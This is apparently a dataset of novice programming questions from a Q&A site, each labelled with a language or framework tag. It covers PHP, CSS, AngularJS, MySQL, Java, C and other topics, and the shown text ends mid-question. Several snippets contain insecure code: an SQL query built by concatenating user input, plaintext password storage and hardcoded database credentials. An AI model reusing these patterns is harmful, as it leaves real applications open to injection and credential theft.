php select statement with bind  i m trying to validate a sign-up form through php  with prepared statements and bind parameters  like this:   <pre><code>$email = $_post[ email ]; $password = $_post[ password ];  $selectstatement =  select id from users where email =    ; $stmts = mysqli_prepare($dbc  $selectstatement); mysqli_stmt_bind_param($stmts  s   $email); mysqli_stmt_execute($stmts); $count = mysqli_stmt_num_rows($stmts);  if (!$stmts){     die( mysqli error:  .mysqli_error($dbc)); } while($row = mysqli_stmt_fetch($stmts)){     if($row != null){            echo( user already registered! );     }     }else{           $insertquery =  insert into users(email  password) values(    ) ;         $stmti = mysqli_prepare($dbc  $insertquery);          mysqli_stmt_bind_param($stmti   ss   $email  $password);         mysqli_stmt_execute($stmti);         echo( registration completed! ); } } mysqli_stmt_close($stmts);   mysqli_stmt_close($stmti); mysqli_close($dbc);  </code></pre>   but when no user is found in the database  it s supposed to go on the else branch  yet  apparently it s not getting there  not even in the while loop. what am i doing wrong,php
text-align: justify and images  i have a list of images (not in a list  but could be if that might solve the problem) that i want to fill the whole width of a div. i ve tried the code at the bottom  and while it does justify any text in the p tag it doesn t do the same for images. how can i get it to evenly space the images across the full width of the div    <pre><code>&lt;div&gt;   &lt;p&gt;     &lt;img src= image1.png  alt= foo  /&gt;     &lt;img src= image2.png  alt= foo  /&gt;     &lt;img src= image3.png  alt= foo  /&gt;     &lt;img src= image4.png  alt= foo  /&gt;     &lt;img src= image5.png  alt= foo  /&gt;   &lt;/p&gt; &lt;/div&gt; </code></pre>   my css:   <pre><code>div { width: 30em; } p { text-align: justify; } </code></pre>,css
how to auto-restart an app after a crash (like skype 4.0 did)  perhaps you ve all heard about what skype did with their ios app; it will auto-restart itself when it crashes: <a href= http://bytenow.net/2012/04/30/skype-releases-4-0-update-for-ios-brings-ui-redesign-and-auto-relaunch  rel= nofollow >http://bytenow.net/2012/04/30/skype-releases-4-0-update-for-ios-brings-ui-redesign-and-auto-relaunch</a>    i m wondering how this is done. does anyone know,ios
how to pass json response to model for use in get request  i m accessing an api which returns some json about nutritional information.  i m able to store the response in the model  display it  all that good stuff. i just chuck it into <code>$scope.response = data.item.name</code> but there is another property which i would like to use to form a new request to the server.    i want to take data.item.ndbno  store it in <code>$scope.queryselection = data.item.ndbno</code> and use it as a parameter in the new request.  i have tried using <code>ng-value={{item.ndbno}}</code>  and accessing it directly via index in the model alone. basically for the end resoult  i would like to be able to click on any result in the list  and send a get request with that ndbno to the server.  currently the code sends an <code>undefined</code> ndbno like so     <code>post http://api.nal.usda.gov/ndb/reports/ ndbno=undefined&amp;type=b&amp;api_key=demo_key&amp;format=json&amp;callback=json_callback 400 (bad request)</code>.    i don t know what i m doing wrong. i m sorry if this has an obvious solution to someone who s seasoned  but i m a newbie  and i never used jquery.    here s my complete code.  and just as a show of gratitude  whomever can help me  i will credit in the credits of the finished app.   <pre><code>&lt;!doctype html&gt; &lt;html lang= en  ng-app= sugarapp &gt;   &lt;head&gt;     &lt;meta charset= utf-8 /&gt;     &lt;title&gt;sugar app&lt;/title&gt;     &lt;link rel= stylesheet  href= https://ajax.googleapis.com/ajax/libs/angular_material/0.9.4/angular-material.min.css &gt;     &lt;link rel= stylesheet  type= text/css  href= https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.5/css/bootstrap.css /&gt;     &lt;script type= text/javascript  src= https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.7/angular.min.js &gt;&lt;/script&gt;    &lt;/head&gt;   &lt;body ng-controller= loadingcontroller &gt;     &lt;div class= alert alert-info  ng-show= loading &gt;loading&lt;/div&gt; &lt;!-- show/hide based on the truthy or falsey value of $scope.loading--&gt;     &lt;div ng-controller= sugarcontroller &gt;         &lt;form name= searchform   ng-submit= dosearch() &gt;             &lt;input type= text  ng-model= queryinput  placeholder= search a food or food product &gt;             &lt;input type= submit  value= search &gt;         &lt;/form&gt;         &lt;ul&gt;             &lt;div ng-show= query &gt;             results for  {{baselist.q}}                   &lt;li ng-repeat= item in queryresult &gt;                  &lt;!-- the problem : ndbno parameter is not being passed  and as a result the request has an undefined value                 tried: baselist.ndbno  item.ndbno  $scope.baselist.ndbno  ng-value  bracket syntax []  other things i m forgetting--&gt;                     &lt;a href ng-click= showresults() &gt;{{item.name}}  {{item.ndbno}}&lt;/a&gt;                      &lt;span ng-model= ndbnum  ng-bind= item.ndbno &gt;&lt;/span&gt;&gt;                   &lt;/div&gt;             &lt;/li&gt;             &lt;md-card&gt;              &lt;md-card-content&gt;                 the amount of sugar in &lt;strong&gt;{{proddetail.nutrients[8].measures[3].eqv * .0353}}&lt;/strong&gt;oz of &lt;strong&gt;{{proddetail.name}}&lt;/strong&gt; is &lt;strong&gt;{{proddetail.nutrients[8].measures[3].value}}g&lt;/strong&gt;  or &lt;strong&gt;{{proddetail.nutrients[8].measures[3].value / 7}} circus peanuts&lt;/strong&gt;  or &lt;strong&gt;{{proddetail.nutrients[8].measures[3].value / 4}} teaspoons&lt;/strong&gt; of granulated sugar.                     &lt;footer&gt;                     &lt;small&gt;source: national nutrient database for standard reference - release {{basereport.sr}}&lt;/small&gt;                 &lt;/footer&gt;             &lt;/md-card-content&gt;             &lt;/md-card&gt;         &lt;/div&gt;       &lt;/ul&gt;         &lt;div ng-show= result &gt; &lt;!-- show/hide based on the truthy or falsey value of $scope.result--&gt;         the amount of sugar in {{baselist.sr}} of {{proddetail.name}} is {{proddetail.amount}} or circus peanuts or teaspoons of granulated sugar.       &lt;/div&gt;       &lt;/div&gt;      &lt;script&gt; /* todo     high     clean up code: remove redundancies     figure out how to pass the ndbno result to $scope.queryselection       low     replace deprecated .success with .then     reformat get requests into factory     */     angular.module( sugarapp  []).controller( sugarcontroller  [ $scope   $http  function($scope $http){         $scope.dosearch = function(){          $scope.$emit( load ); //using $emit to signal when/vhen not to show the loading indicator          $scope.$emit( unquery ); //using $emit to signal when/when not to show the search results view         $scope.searchurl =  http://api.nal.usda.gov/ndb/search/ ;         $scope.testurl =  http://api.nal.usda.gov/ndb/reports/ ndbno=14400&amp;type=f&amp;format=json&amp;api_key=demo_key ;         $scope.api_key =  &amp;api_key=demo_key ;         $scope.fmtjson =   format=json ;         $scope.q =  &amp;q= ;         $scope.callback =  &amp;callback=json_callback ;              $scope.query = $scope.queryinput;          $scope.fullurl= $scope.searchurl + $scope.fmtjson + $scope.q + $scope.query + $scope.api_key + $scope.callback;         $scope.placeholder =  search for a food or food product ;         //temporary comment out $scope.basereport = {}; //initialize a blank basereport array         $http.get($scope.fullurl)         .success(function(data){             //$scope.basereport=data.report;             $scope.baselist=data.list;             $scope.queryresult=data.list.item;             $scope.ndbnum = data.list.item.ndbno;             $scope.$emit( unload );             $scope.$emit( query );             $scope.$emit( noresult );         })}              $scope.showresults = function(){             $scope.$emit( unquery );             $scope.$emit( load );             $scope.$emit( result );             $scope.resultbaseurl =  http://api.nal.usda.gov/ndb/reports/ ;             $scope.ndb =   ndbno= ;  $scope.queryselection = $scope.ndbnum;              $scope.rtype =  &amp;type=b              $scope.fmtjson =  &amp;format=json ;             $scope.api_key =  &amp;api_key=demo_key ;             $scope.callback =  &amp;callback=json_callback ;             //temporary comment out $scope.basereport = {};             $scope.resulturl= $scope.resultbaseurl + $scope.ndb + $scope.queryselection + $scope.rtype             + $scope.api_key + $scope.fmtjson + $scope.callback;              $http.post($scope.resulturl)             .success(function(data){                 $scope.basereport=data.report;                 $scope.proddetail=data.report.food;                 $scope.$emit( unload );             })         }      }])     //setting up scope emit flags for use in showing/hiding view elements         //used for showing or hiding results div     .controller( resultcontroller   [ $scope   function($scope){         $scope.$on( result  function(){$scope.result=true});         $scope.$on( noresult  function(){$scope.result=false});     }]) //used for showing or hiding query list view div     .controller( querycontroller   [ $scope   function($scope){         $scope.$on( query  function(){$scope.query=true});         $scope.$on( noquery  function(){$scope.query=false});     }]) // used for showing or hiding the loading indicator div     .controller( loadingcontroller  [ $scope  function($scope){         $scope.$on( load  function(){$scope.loading=true});         $scope.$on( unload  function(){$scope.loading=false});     }])     &lt;/script&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>,angularjs
how to make that all the pictures were displayed   i have tableviewcontroller and viewcontroller. in 3 cells change pictures depending on the index and intforstring in viewcontroller. in the first session i work with all cells. in the second i work with one cell. when i go to the third session image stay only to the cell in which i worked the second session. and the other two images disappear. how to make that all the images were displayed,ios
double bottom-border for shading <pre><code>.sitemapml li db {  border-bottom: medium dotted #36383b;  z-index: -1;  left: 1px;  bottom: -4px;  position: relative;  width: 230px; } .sitemapml li {     border-bottom: medium dotted #888b8e;     width: 230px;     padding-bottom: 5px;     margin-bottom: 5px;     z-index: 600; } </code></pre>   i m trying to use this in order to shade the dotted seperator in a menulist  the problem is  that the dots are in place ok  but not to the proper 230px width. i.e its set to the a href inside width.. i changed the a href width to 230px too.. but the dots still remain under the words home only..,css
count the number of results of mysql query with loop  i am trying to write a loop in mysql  so that the results of one query informs the second. this is my current query set:   <pre><code> select @post_date := from_unixtime(post_date)  from posts  where post_date &gt; unix_timestamp( 2012-10-20 ) and nsfw=1;   select @countofpost := count(@post_date);   while @countofpost &gt; 0 do    select count(*)   from live_sharedata.users   where joined between @post_date and (@post_date + 21600) and joined_site_id= rs ;    set @countofpost = @countofpost -1;   end while; </code></pre>   the error i receive is [err] 1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  while @countofpost > 0 do.    any thoughts would be greatly appreciated.,mysql
does the order of the fields in the where clause affect the performance   for example: if there are two where clause： where stringa= value  and intb=1.,mysql
how to change the formatcurrency()   i am using this line :   <pre><code>formatcurrency(dbreader( price ).tostring  2  true) </code></pre>   to format my currency  and i have two websites  the first one is english and the second is arabic.    in the english website the price will be in $ currency because the the localization setting is set as  en-us .    in the arabic website the price will be in ل.ل currency because the the localization setting is set as  ar-lb .    the question is how to format this code:   <pre><code>formatcurrency(dbreader( price ).tostring  2  true) </code></pre>   to make the currency in the $ only in both websites,asp.net
object reference not set to an instance of an object   how to fix  description: an unhandled exception occurred during the execution of the current web request. please review the stack trace for more information about the error and where it originated in the code.    exception details: system.nullreferenceexception: object reference not set to an instance of an object.   <pre><code>source error:   line 156:                                &lt;img class= carouselimg  src= &lt;%=slide.imageurl%&gt;  /&gt; line 157:                                &lt;% line 158:foreach (var el in slide.hotspots.elements()) line 159:{  line 160:      var top = el.element( top ).value;             nullreferenceexception: object reference not set to an instance of an object.]    asp.views_home_index_aspx.__rendercontent2(htmltextwriter __w  control parametercontainer) in c:\_     system.web.ui.control.renderchildreninternal(htmltextwriter writer  icollection children) +256    system.web.ui.control.renderchildren(htmltextwriter writer) +19    system.web.ui.control.render(htmltextwriter writer) +10    system.web.ui.control.rendercontrolinternal(htmltextwriter writer  controladapter adapter) +27    system.web.ui.control.rendercontrol(htmltextwriter writer  controladapter adapter) +99    system.web.ui.control.rendercontrol(htmltextwriter writer) +25    system.web.ui.control.renderchildreninternal(htmltextwriter writer  icollection children) +134    system.web.ui.control.renderchildren(htmltextwriter writer) +19    system.web.ui.control.render(htmltextwriter writer) +10    system.web.ui.control.rendercontrolinternal(htmltextwriter writer  controladapter adapter) +27    system.web.ui.control.rendercontrol(htmltextwriter writer  controladapter adapter) +99    system.web.ui.control.rendercontrol(htmltextwriter writer) +25    system.web.ui.control.renderchildreninternal(htmltextwriter writer  icollection children) +134    system.web.ui.control.renderchildren(htmltextwriter writer) +19    system.web.ui.page.render(htmltextwriter writer) +29    system.web.mvc.viewpage.render(htmltextwriter writer) +59    system.web.ui.control.rendercontrolinternal(htmltextwriter writer  controladapter adapter) +27    system.web.ui.control.rendercontrol(htmltextwriter writer  controladapter adapter) +99    system.web.ui.control.rendercontrol(htmltextwriter writer) +25    system.web.ui.page.processrequestmain(boolean includestagesbeforeasyncpoint  boolean includestagesafterasyncpoint) +1266 </code></pre>,asp.net
creating and populating a composite primary key where each part of the composite pk references different tables as a foriegn key  i am building a database to house my movie info and all movies have more than one genre so i m trying to solve the many to many problem with a link table. i am having trouble populating the link table to my movies and genre tables. the table is the <code>movie_genre</code> table and both <code>genreid</code> and <code>movieid</code> are the composite primary key for that table. each part (genreid and movieid) are also foreign keys for different tables. i m having trouble populating this table with the correct values from the other tables. here is my test script.   <pre><code>create database test;  use test;  create table movies ( movieid int auto_increment primary key  titel varchar(255) ) auto_increment=100;  insert into movies values (titel   hellboy )   (titel   horrible bosses );  create table genre (genreid int auto_increment primary key  genre varchar(10));  insert into genre values (genre  action )   (genre  adventure )   (genre  si-fi )   (genre  horrer )   (genre  fantacey )   (genre  thriller )   (genre  comedy )   (genre  crime );  create table movie_genre ( movieid int   genreid int   constraint foreign key (movieid) references movies(movieid)   constraint foreign key (genreid) references genre(genreid)   primary key (movieid genreid));  insert into movie_genre  value( movieid = movies(movieid))       (genreid = genre(genreid)); </code></pre>,mysql
tool to find malformed html   i m looking for a tool that could help me fix malformed html. for example:   <pre><code>&lt;div id= foo &gt;   &lt;div id= bar &gt;     &lt;span&gt;test&lt;/span&gt;     &lt;/div&gt; </code></pre>   the tool would detect a missing  and inform me the the div with id  bar  on line 2 is not closed. i know about the w3c validator (using it with the web developer toolbar). but i find the validator tool slow to use. additionally  once a tag is not closed  the rest of the page generates lots of errors.    this tool can either be a standalone application or a browser plugin.    i m using eclipse  jsp  jstl and jquery to generate html. even if eclipse give me some indication on malformed html  i have mostly generated code. therefore  it would be best if the tool analyze the resulting page.,html
arithmetic on pointer to interface  nsstring   which is not a constant size in non-fragile abi  i m getting this error when i m trying to calculate the slope between two points. the user has inputted the points into text fields defined as x1 y1 x2 y2. then they hit the button  calculate .     here s my code where i m getting the error   <pre><code>-- (ibaction)calculate:(id)sender {    self.slopecalculate = (self.y2.text - self.y1.text)/(self.x2.text - self.x1.text);  } </code></pre>   it s specifically only pointing to  self.x2.text  so i don t know what s going on. what am i doing wrong here,objective-c
how to build a truth table based on user input  i m a beginner c programmer and i m trying to make a program that asks the user for a boolean function  then prints the truth table.    the user would specify input as a boolean expression like this one:   <pre><code>!b &amp;&amp; (a || d) </code></pre>   how could i ask the user to input the boolean expression  and then use it later in the code,c
how can i add depentent: :destroy when i m using mailboxer  how can i add depentent: :destroy in user.rb to destroy the messages created between users by using mailboxer     i have these tables and columns.   <h1>| mailboxer_conversations         |</h1>   | id | subject | created_at          | updated_at          |   <h1>| mailboxer_notifications         |</h1>   | id | type               | body | subject | sender_id | sender_type | conversation_id | draft | notification_code | notified_object_id | notified_object_type | attachment | updated_at          | created_at          | global | expires | sender_name |   <h1>| mailboxer_receipts              |</h1>   | id | receiver_id | receiver_type | notification_id | is_read | trashed | deleted | mailbox_type | created_at          | updated_at          |    i did    (user.rb)   <pre><code>has_many :messages  :class_name =&gt;  mailboxer::message   :as =&gt; :sender         has_many :receipts  -&gt; { order(:created_at =&gt; :desc  :id =&gt; :desc) }  :class_name =&gt;  mailboxer::receipt   dependent: :destroy  as: :receiver  has_many :notifications  -&gt; { where( notified_object_type:  assignment ) }          foreign_key:  notified_object_id   dependent: :destroy          class_name:  mailboxer::notification  </code></pre>   but it didn t work.,ruby-on-rails
novice working through a stroustrup book  need advice  this program is supposed to accept the input of a measurement followed by the unit (ex.  10cm )  convert it to meters  and then store it if it is the largest or smallest value yet. then  it should add it to a sum of all values entered before termination with  | . it should finally output the largest  smallest  and the sum. halp! not homework - just trying to teach myself.    edit: apologies for lack of clarity -     i have now discovered that i simply needed to add a whitespace between the measurement and unit input. my question then becomes: would it be possible to (without extravagant knowledge that a chapter 4 novice couldn t possess) accept  10cm  and get the same result as inputting  10 cm   the book specifically says:     add a unit to each do double entered ; that is  enter values such as 10cm  2.5in  5ft  or 3.33m    <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;vector&gt; #include &lt;algorithm&gt; #include &lt;cmath&gt;  using namespace std;  int main() {     double n1 = 0;     string unit =    ;     double largest = 0;     double smallest = 0;     double sum = 0;     double inm = 0;    while(cin &gt;&gt; n1 &gt;&gt; unit)   {         if(unit ==  m )         inm = n1;     else if(unit ==  cm )         inm = n1 / 100;     else if(unit ==  in )         inm = (n1 * 2.54) / 100;     else if(unit ==  ft )         inm = ((n1 / 12) * 2.54) / 100;     else     {         cout &lt;&lt;  dont understand ;         break;     }      if(inm &gt; largest &amp;&amp; smallest == 0){         largest = inm;         smallest = inm;     }     else if (inm &lt; smallest)         smallest = inm;     else if (inm &gt; largest)         largest = inm;      sum += inm;               }   cout &lt;&lt;  the smallest value you entered was:   &lt;&lt; smallest &lt;&lt;  \nthe largest value you entered was:   &lt;&lt; largest &lt;&lt;  \nthe sum of all values was:   &lt;&lt; sum;  } </code></pre>,c++
angularjs passing object into isolated scope  i am trying to create a reusable html element / angular directive that will be used inside of ng-repeat so i want to pass it the values it will display in the dom.    something worth noting  i don t care for the values to bind. they can be a one-time binding simply displaying their values the first time ng-repeat creates them.    for example here is my directive:   <pre><code> app.directive( newslisting   function () {     return {         restrict:  ae           replace:  true           templateurl:  ../pages/views/templates/newslisting.html           scope: {}          link: function (scope  elem  attrs) {             //fairly sure this is where the binding needs to happen          }     }; }); </code></pre>   my html template:   <pre><code>&lt;div&gt; &lt;span class= glyphicon glyphicon-list-alt logo-green &gt;&lt;/span&gt; &lt;label&gt;{{datevalue}}&lt;/label&gt; &lt;label&gt;{{category}}&lt;/label&gt; &lt;label class= noborder &gt;{{content}}&lt;/label&gt; </code></pre>       what i want the ending product to be:   <pre><code>&lt;news-listing date= {{somevalue}}  category= {{somevalue}}  content= {{somevalue}} &gt;&lt;/news-listing&gt; </code></pre>   i have never created a directive before and all the guides i am trying to follow don t explain the scope  and the way binding happens inside of a directive.,angularjs
auto width when add list  i have a simple menu (centered with <code>margin:0 auto</code>) with some list items.  now  i m trying to keep the menu on the same centered position when i add an additional list items. here is the fiddle <a href= http://jsfiddle.net/code_me/lxgdt/1/  rel= nofollow ><strong>play with it</strong></a>    <pre><code>ul{   list-style-type: none;   background: red;   margin:0 auto;   width: 56%;   max-width:600px   }  ul li{  display: inline-block; width: 100px; background-color: #000; color: #fff;  } </code></pre>   i want to an additional <code>li</code> s to the <code>ul</code> to wrap it and still be centered.    i don t want to use flexbox because ie doesn t support it :d   <pre><code>the problem is solved. giving the ul {display:table} thank you all especially coop ! </code></pre>,css
password from user and compare it to the password stored in the database  i m trying to get a password from user and compare it to the password stored in the database to check if the password entered is wrong or right. but every time it is going to the else clause even when the password is right. even when it prints out the right string before comparison.   <pre><code>string newemail;     newemail = jtextfield1.gettext();     string passfield = new string(pass.getpassword());      try {         class.forname( java.sql.drivermanager );         connection con = (connection) drivermanager.getconnection( jdbc:mysql://localhost:3306/spacetour    root    12345 );         statement stmt = (statement) con.createstatement();         string query =  select password from userdetails where email=   + newemail +   ; ;          resultset rs = stmt.executequery(query);         rs.next();         {             string rpass = rs.getstring( password );              system.out.println(rpass);             if (rpass == passfield) {                  system.out.println( okay );             }             else {system.out.println( not working );}         }     } catch (exception e) {          joptionpane.showmessagedialog(this  e.getmessage());      } </code></pre>,java
the type or namespace cannot be found (are you missing a using directive or an assembly reference )   error    1    the type or namespace name  empinfo  could not be found (are you missing a using directive or an assembly reference )    c:\users\station\desktop\test\test\businesslayer\empoperation.cs    13    33    businesslayer    error    2    the type or namespace name  empoperation  could not be found (are you missing a using directive or an assembly reference )    c:\users\station\desktop\test\test\test\empentry.aspx.cs    15    8    test    but both the  empinfo  and  empoperation  class are there... then why still its showing this type of error       also.   <pre><code>public int acsaveempinfo(empinfo paramempinfo) </code></pre>   on the above line when i m clicking on empinfo and clicking on go to definition then its showing  cannot navigate to empinfo .,asp.net
javascript - iterate through all instances of an object  in order to process lyrics to an album  i have made a <code>constructor</code>:   <pre><code>var song = function(side  name  index  duration  author  lyrics) {     this.side = side;     this.name = name;     this.index = index;     this.duration = duration;     this.author = author;     this.lyrics = lyrics;     globallyrics.push(this.name  this.lyrics);     }; </code></pre>   i also created a global variable to keep track of the lyrics:   <pre><code>    var globallyrics = []; </code></pre>   then i created  say  24 instances to song:   <pre><code>   var song1 = new song( mithras    wicked   1   3:45    me and the plant               [ politicians    politician    politics    telling                lies    lie    to    media    the    youngsters                young    elders    time    that    passes    pass    by                oh    no    lie    detector    detection    souls    as                far    illusion    goes    all    sinners    sin    around                sun    earth    atom    atoms    mind    angels    angel                prophet    prophets    martyr    knives    elder    detect                shit    flies    fly    meat    is    knife    and    death                life    i    am    gonna    going    cast    a    sacred                circle ]);             (...)//all the way to:  var song24 = new song( lab    buffalo   23   3:10    me and the plant            [ this    tambourine    is    waging    a    war    will            drecnched    in    blood    flood    egg    shape            shaped    rock    rocking    to    kill    the    bull            slay    slain    by    dogs    snakes    raven    scorpio            lion    headed    head    god    rise ]); </code></pre>   given an input from the client  such as:   <pre><code>   var input = [ this    tambourine    is ]; </code></pre>   i made a method as to count intersections between the input with lyrics  words:   <pre><code>song.prototype.countintersect = function(input) {  var lyrics = this.lyrics; var count = 0; var temp = []; for(var i = 0; i &lt; input.length; i++){     for(var k = 0; k &lt; lyrics.length; k++){         if(input[i] == lyrics[k]){             count += 1;             temp.push(input[i]);             break;         }     } } return count;    </code></pre>   }    question:    i want to create a <code>function</code> able to iterate through all song <code>instances</code>  returning the name of the song that has the most words <code>intersections</code> with the <code>input</code>.    do i have to make a tracker with <code>intersection</code> <code>counts</code> for all <code>instances</code> of <code>this.lyrics</code>  and then return the song corresponding to the largest <code>count</code>     desired answer: given the <code>input</code> example  after creating this new <code>prototype</code> <code>function</code>  i would like to have it iterating through all lyrics and returning // buffalo   the name of the song24.,javascript
android.....progress bar  how to put progressbar between screens in android,android
can i define the size of a c element in bits   in the following example  can i define the size of a c element in bits    <pre><code>#include &lt;stdio.h&gt;  typedef enum {     false = 0      true = ~0 } bool;  int main(void) {     bool x;     printf( %d   sizeof x);     return 0; } </code></pre>,c
input type radio no binding ng-model angularjs  ng-model does not change my radio button  selecting another option print the value in the ng-model does not change my html   <pre><code>&lt;div class= btn-group  data-toggle= buttons  role= group &gt;   &lt;label class= btn btn-outline btn-primary  &gt;     &lt;input type= radio  name= turno   ng-model= vm.turno  value= matutino  /&gt;     &lt;i class= icon wb-check text-active  aria-hidden= true &gt;&lt;/i&gt;matutino   &lt;/label&gt;   &lt;label class= btn btn-outline btn-primary active &gt;      &lt;input type= radio  ng-model= vm.turno  value= vespertino  /&gt;      &lt;i class= icon wb-check text-active  aria-hidden= true &gt;&lt;/i&gt;vespertino   &lt;/label&gt;   &lt;label class= btn btn-outline btn-primary &gt;     &lt;input type= radio  ng-model= vm.turno  value= nocturno  /&gt;     &lt;i class= icon wb-check text-active  aria-hidden= true &gt;&lt;/i&gt;nocturno  &lt;/label&gt; &lt;/div&gt;  &lt;span&gt;{{vm.turno}}&lt;/span&gt; </code></pre>,angularjs
retrieving the com class factory exception error  i have the below error when trying to generate a word document.   <blockquote>    system.typeinitializationexception: the type initializer for  xxxx.xxx.mswordservice.mswordservice  threw an exception. ---> system.unauthorizedaccessexception: retrieving the com class factory for component with clsid {000209ff-0000-0000-c000-000000000046} failed due to the following error: 80070005 access is denied. (exception from hresult: 0x80070005 (e_accessdenied)).  </blockquote>   this web application runs on a service account and i m not sure which directory to be given permission.    how to fix this,.net
sum of two squares in c  i have managed to get the sum of two squares  but it still doesnt work if for example 10: i need 9 and 1 ... my idea is to seacrch all the previous squares and find out how many will add up to the input  (max = 4) ... but im get stuck when duplicates occur and when i need to add 3 things... for 4 things i m thinking of just adding an else statement. any ideas/suggestions of how i can improve my algorithm,c
how to get permission with nssavepanel in sandbox environment  there is a project with sandbox environment  right now i want to let users choose a dir to save files. for example  when user choose  desktop  in the save panel  then i will save file to the dir  ~/desktop . the code is as below:   <pre><code>    nssavepanel *savepanel = [nssavepanel savepanel];     nsinteger result = [savepanel runmodal];     if(result == nsfilehandlingpanelokbutton)     {         nsstring *dir = [savepanel.url.path.stringbydeletinglastpathcomponent stringbyappendingpathcomponent:@ 2.txt ];         nserror *err;         nslog(@ %@  dir);         [@ asasasa  writetofile:dir atomically:yes encoding:nsutf8stringencoding error:&amp;err];         nslog(@ %@  err);     } </code></pre>   the error happens that <code>code=513  you don’t have permission to save the file “2.txt” in the folder “desktop”.</code>    i have already enable <code>read/write</code> of <code>user selected file</code> in the <code>capabilities</code> settings. anybody can tell me what should i do right now      thanks in advance.,objective-c
java cant retrieve the data from sql server in my jtable  //i get all this connection errors.... i guess i miss something thats why this mess happends .i am new with this so if enyone can help :d   <pre><code>com.microsoft.sqlserver.jdbc.sqlserverexception: incorrect syntax near  suppliers .     at com.microsoft.sqlserver.jdbc.sqlserverexception.makefromdatabaseerror(sqlserverexception.java:196)     at com.microsoft.sqlserver.jdbc.sqlserverstatement.getnextresult(sqlserverstatement.java:1454)     at com.microsoft.sqlserver.jdbc.sqlserverstatement.doexecutestatement(sqlserverstatement.java:786)     at com.microsoft.sqlserver.jdbc.sqlserverstatement$stmtexeccmd.doexecute(sqlserverstatement.java:685)     at com.microsoft.sqlserver.jdbc.tdscommand.execute(iobuffer.java:4026)     at com.microsoft.sqlserver.jdbc.sqlserverconnection.executecommand(sqlserverconnection.java:1416)     at com.microsoft.sqlserver.jdbc.sqlserverstatement.executecommand(sqlserverstatement.java:185)     at com.microsoft.sqlserver.jdbc.sqlserverstatement.executestatement(sqlserverstatement.java:160)     at com.microsoft.sqlserver.jdbc.sqlserverstatement.executequery(sqlserverstatement.java:620)     at mylogin.suppliers.getuserlist(suppliers.java:61)     at mylogin.suppliers.show_suppliers_in_jtable(suppliers.java:75)     at mylogin.suppliers.&lt;init&gt;(suppliers.java:30)     at mylogin.suppliers$6.run(suppliers.java:345)     at java.awt.event.invocationevent.dispatch(invocationevent.java:311)     at java.awt.eventqueue.dispatcheventimpl(eventqueue.java:756)     at java.awt.eventqueue.access$500(eventqueue.java:97)     at java.awt.eventqueue$3.run(eventqueue.java:709)     at java.awt.eventqueue$3.run(eventqueue.java:703)     at java.security.accesscontroller.doprivileged(native method)     at java.security.protectiondomain$javasecurityaccessimpl.dointersectionprivilege(protectiondomain.java:76)     at java.awt.eventqueue.dispatchevent(eventqueue.java:726)     at java.awt.eventdispatchthread.pumponeeventforfilters(eventdispatchthread.java:201)     at java.awt.eventdispatchthread.pumpeventsforfilter(eventdispatchthread.java:116)     at java.awt.eventdispatchthread.pumpeventsforhierarchy(eventdispatchthread.java:105)     at java.awt.eventdispatchthread.pumpevents(eventdispatchthread.java:101)     at java.awt.eventdispatchthread.pumpevents(eventdispatchthread.java:93)     at java.awt.eventdispatchthread.run(eventdispatchthread.java:82) </code></pre>   public class suppliers extends javax.swing.jframe {   <pre><code>    /**      * creates new form suppliers      */     public suppliers() {         initcomponents();         show_suppliers_in_jtable();     }      string driver = com.microsoft.sqlserver.jdbc.sqlserverdriver ;      string url = jdbc:sqlserver://localhost:1435;databasename=supermarket ;      string user = sa ;      string pass = sql!123 ;        public connection getconnection()      {          connection con;       try {          class.forname(driver);            con=drivermanager.getconnection(url  user  pass);          return con;        }catch (exception e){            e.printstacktrace();            return null;        }       }      public arraylist&lt;update_del_insert&gt; getuserlist()      {          arraylist &lt;update_del_insert&gt; userlist =new arraylist &lt;update_del_insert&gt; ();          connection connection =getconnection();           string query = select * from  suppliers  ;          statement st;          resultset rs;          try{             st = connection.createstatement();             rs = st.executequery(query);             update_del_insert  update_del_insert ;             while(rs.next())             {                update_del_insert = new update_del_insert (rs.getstring( supname ) rs.getstring( supsurname ));                userlist.add(update_del_insert);             }             }catch (exception e){                 e.printstacktrace();             }          return userlist;      }       //display data in jtable      public void show_suppliers_in_jtable(){          arraylist&lt;update_del_insert&gt; list= getuserlist();          defaulttablemodel model =(defaulttablemodel)jtable_suppliers.getmodel();          object[] row =new object[2];          for(int i =0;i&lt; list.size();i++)          {              row[0] = list.get(i).getsupname();              row[1] = list.get(i).getsupsurname();               model.addrow(row);           }  } </code></pre>   //supname and supsurname are my tables on sql   <pre><code>public class update_del_insert {     private string supname;     private string supsurname;     public update_del_insert(string supname string supsurname )     {         this.supname=supname;         this.supsurname=supsurname;     }      public string getsupname()     {         return supname;     }      public string getsupsurname()     {         return supsurname;     } } </code></pre>,java
image size - how to   i just want to make a simple image view but when i run that app the unnecessary white background comes. i don t want to need that part. any solution.     <a href= https://i.stack.imgur.com/hdcwj.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/hdcwj.jpg  alt= the white part unecessary ></a>    and here is my xml file for that image view   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt;   &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android     android:layout_width= wrap_content     android:layout_height= wrap_content     android:orientation= vertical &gt;   &lt;imageview     android:id= @+id/imageview      android:layout_width= wrap_content      android:layout_height= wrap_content      android:gravity= center      android:src= @drawable/pot1 /&gt; &lt;/linearlayout&gt;  </code></pre>,android
"php if/else statement acting weird  i m relativity new to php and just testing out some code.  the odd thing is that the code both does/doesn t work.  the code should check a mysqli database to determine the state of the check box and then apply that state to the checkbox.  what the code currently does is designate the checkbox state based solely off the value of the if condition  regardless of the mysqli database values.    here is the code for the html page  it s the if statement near the bottom that s causing issues;    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt; php
  include_once  includes/dbh.inc.php ;
  &gt;
 
 &lt;!doctype html&gt;
 &lt;html&gt;
 &lt;head&gt;
 &lt;/head&gt;
 &lt;body&gt;
 
 &lt; php
 
  $sql_1 =  select * from test2; ;
  $results = mysqli_query($conn  $sql_1) or die( error getting data. );
  
  echo(string)  &lt;table&gt; ;
  echo  &lt;tr&gt;&lt;th&gt;state&lt;/th&gt;&lt;th&gt;id&lt;/th&gt;&lt;/tr&gt; ;
  
